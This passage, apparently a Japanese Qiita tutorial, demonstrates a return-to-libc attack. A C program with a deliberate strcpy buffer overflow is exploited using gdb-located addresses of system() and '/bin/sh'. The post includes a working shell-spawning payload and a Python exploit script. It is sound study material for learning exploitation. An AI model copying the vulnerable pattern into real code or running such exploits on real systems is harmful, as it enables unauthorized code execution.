LoginSignup
1
1

More than 5 years have passed since last update.

Return to libc

Posted at

このコードの脆弱性をついてシェルを起動する.
なお, ASLRは無効化しているものとする.

#include <stdio.h>
#include <string.h>

void vuln(char* pass)
{
  char buf[512];
  strcpy(buf, pass);
}

int main(int argc, char** argv)
{
  vuln(argv[1]);
  return 0;
}
$ gcc -m32 test.c
$ objdump -d a.out
080483fb <vuln>:
80483fb: 55                    push   %ebp
 80483fc: 89 e5                 mov    %esp,%ebp
 80483fe: 81 ec 08 02 00 00     sub    $0x208,%esp
 8048404: 83 ec 08              sub    $0x8,%esp
 8048407: ff 75 08              pushl  0x8(%ebp)
 804840a: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 8048410: 50                    push   %eax
 8048411: e8 ba fe ff ff        call   80482d0 <strcpy@plt>
 8048416: 83 c4 10              add    $0x10,%esp
 8048419: 90                    nop
 804841a: c9                    leave
 804841b: c3                    ret

これを見るとlea命令でold ebpやreturnアドレスを除いて0x208バイトがvulnの
スタックに積まれていることがわかる.
次にsystem関数がロードされているメモリと"/bin/sh"がロードされているメモリを
調べる.

$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b main
gdb-peda$ run
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e21eb0 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f458f9 ("/bin/sh")

system関数のアドレスは0xf7e21eb0であり, "/bin/sh"の文字列のアドレスは
0xf7f458f9であることがわかる.
つまり, スタックは以下のように書き換えられればよいことがわかる.

high

               ->  "/bin/sh"
                   ---
args           ->  CCCC(dummy return address)
---                ---
return to main ->  return to system
---                ---
old ebp        ->  BBBB
---                ---
0x208bytes     ->  A*0x208
buffer
---                ---

low
$ ./a.out "$(python2 -c 'print "A"*0x208 + "BBBB" + "\xb0\x1e\xe2\xf7" + "CCCC" + "\xf9\x58\xf4\xf7"')"
sh-4.3$ exit
exit
zsh: segmentation fault (core dumped)  ./a.out

シェルが起動することが確かめられた.
segmentation faultを起こさないためには"CCCC"のところを
exit関数へのアドレスに置き換えればよい.
vulnがretする直前はespはreturn to systemのところを指し,
ret直後は1ワードアドレスが上がることに注意.

最後にpython2で書いたshellcodeを貼る.

#!/usr/bin/env python
import os
import struct

system_addr = 0xf7e21eb0
shell_str_addr = 0xf7f458f9

payload = "A"*0x208
payload += "BBBB"
payload += struct.pack("I", system_addr)
payload += "CCCC"
payload += struct.pack("I", shell_str_addr)

os.system("./a.out \"%s\"" % payload)

参考

An introduction to ROP

return to libcではないが非常に図がわかりやすい.

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1